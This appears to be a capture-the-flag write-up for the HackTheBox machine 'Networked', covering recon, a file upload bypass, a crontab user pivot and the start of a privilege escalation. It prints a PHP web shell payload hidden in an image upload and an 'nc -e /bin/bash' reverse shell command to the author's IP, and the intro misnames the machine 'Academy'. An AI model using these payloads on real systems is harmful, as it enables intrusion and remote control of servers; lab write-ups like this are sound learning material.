Networked

#Linux #Enumeration #Command-Injection #UserPivoting #Sudo-Exploitation

Academy is an easy-rated Linux machine from HackTheBox, created by guly. In the current post, my IP is 10.10.14.56, and the target IP is 10.129.170.0

There is nothing complex in the machine Networked, there is a file upload bypass, leading to code execution, here there are many available techniques due to the lack of sanitization. And inside the machine you exploit a crontab and then a poor configured network configuration script.

Recon

The first steps are about getting basic information about the target, by using nmap and searching information from the website.

Local Terminal
$ ping -c 1 10.129.170.0

Pinging 10.129.170.0 with 32 bytes of data:
Reply from 10.129.170.0: bytes=32 time=180ms TTL=63
Reply from 10.129.170.0: bytes=32 time=160ms TTL=63
Reply from 10.129.170.0: bytes=32 time=165ms TTL=63
Reply from 10.129.170.0: bytes=32 time=189ms TTL=63

Ping statistics for 10.129.170.0:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 160ms, Maximum = 189ms, Average = 173ms

By the TTL, we can assume that is a Linux Machine.

Local Terminal
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.170.0

Nmap scan report for 10.129.170.0
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-09 10:08:48 Pacific SA Standard Time for 27s
Not shown: 65500 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 27.10 seconds
           Raw packets sent: 131055 (5.766MB) | Rcvd: 47 (2.932KB)

Information that we have now: It's a website (port 80) that use Apache/2.4.6,

  • Browser > http://10.129.170.0

Nothing relevant
  • /uploads/ > Nothing

  • /backup/ > There is a file, download backup.tar, inside the .tar file you can find four files, index.php, lib.php, photos.php and upload.php

    • Index.php > Front page

    • lib.php > Nothing

    • photos.php > photo gallery, if you can upload, this will be useful.

    • upload.php > you can upload files, this is the most valuable place by now.

Reverse Shell [apache]

Go to http://10.129.170.0/upload.php and upload any image

As you can see, we can visualice the images uploaded, we want to exploit this. Intercept a file upload.

Interception result, it shows the uploaded file in a raw format

Now that we know that uploading files is an alternative, our best option is to inject a php command. Add "<?php system($_GET['cmd]); ?>" at the 3rd row, or anywhere. And upload the image.

Sample with the payload
  • Browser > http://10.129.170.0/photos.php

Nothing, but before by fuzzing we found a blank site called /uploads/

The image is alone, great, this means that we can apply the command through 'cmd'.

It works, let's connect through netcat

  • Browser > http://10.129.170.0/uploads/10_10_14_56.php.jpg?cmd=nc -e /bin/bash 10.10.14.56 443

And we are in! Let's do a bash upgrade

User Pivot [Guly]

Basic scouting

So there is one user, maybe we can enter to that folder

Ok, we need to change the user...

This is interesting, it execute the command check_attack.php by using another user (Guly) each 3 minutes

And it's executed by root

Open a new local terminal, and prepare a listening netcat

And there is our file... now we wait, crontab.guly says that it will execute after some time.

Apply a bash upgrade and continue.

Privileges Escalation

Looks like we can execute that custom .sh file as root, let's what's inside

It reads the network-script folder.

Last updated